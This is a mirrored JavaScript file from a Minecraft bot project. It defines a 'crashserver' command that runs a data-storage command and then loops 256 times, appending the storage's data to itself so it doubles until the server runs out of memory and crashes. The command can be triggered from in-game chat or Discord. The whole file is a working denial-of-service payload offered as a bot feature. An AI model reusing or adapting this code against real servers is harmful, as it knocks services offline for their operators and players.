mirror of
https://github.com/ChomeNS/chomens-bot-mc.git
synced 2024-11-13 18:34:54 -05:00
27 lines
646 B
JavaScript
27 lines
646 B
JavaScript
const sleep = require('sleep-promise')
|
|
|
|
/**
|
|
* crash server
|
|
* @param {object} bot bot object
|
|
*/
|
|
async function crash (bot) {
|
|
bot.core.run('data merge storage crash {data:[0]}')
|
|
|
|
await sleep(1000)
|
|
|
|
for (let i = 0; i < 256; i++) bot.core.run('data modify storage crash data append from storage crash data[]')
|
|
}
|
|
|
|
module.exports = {
|
|
name: 'crashserver',
|
|
alias: [],
|
|
description: 'Crashes the server',
|
|
usage: '<hash>',
|
|
trusted: 1,
|
|
execute (bot, username, sender, prefix, args, config, hash, ownerhash, selector) {
|
|
crash(bot)
|
|
},
|
|
discordExecute (bot, username, sender, prefix, args, channeldc, message) {
|
|
crash(bot)
|
|
}
|
|
}
|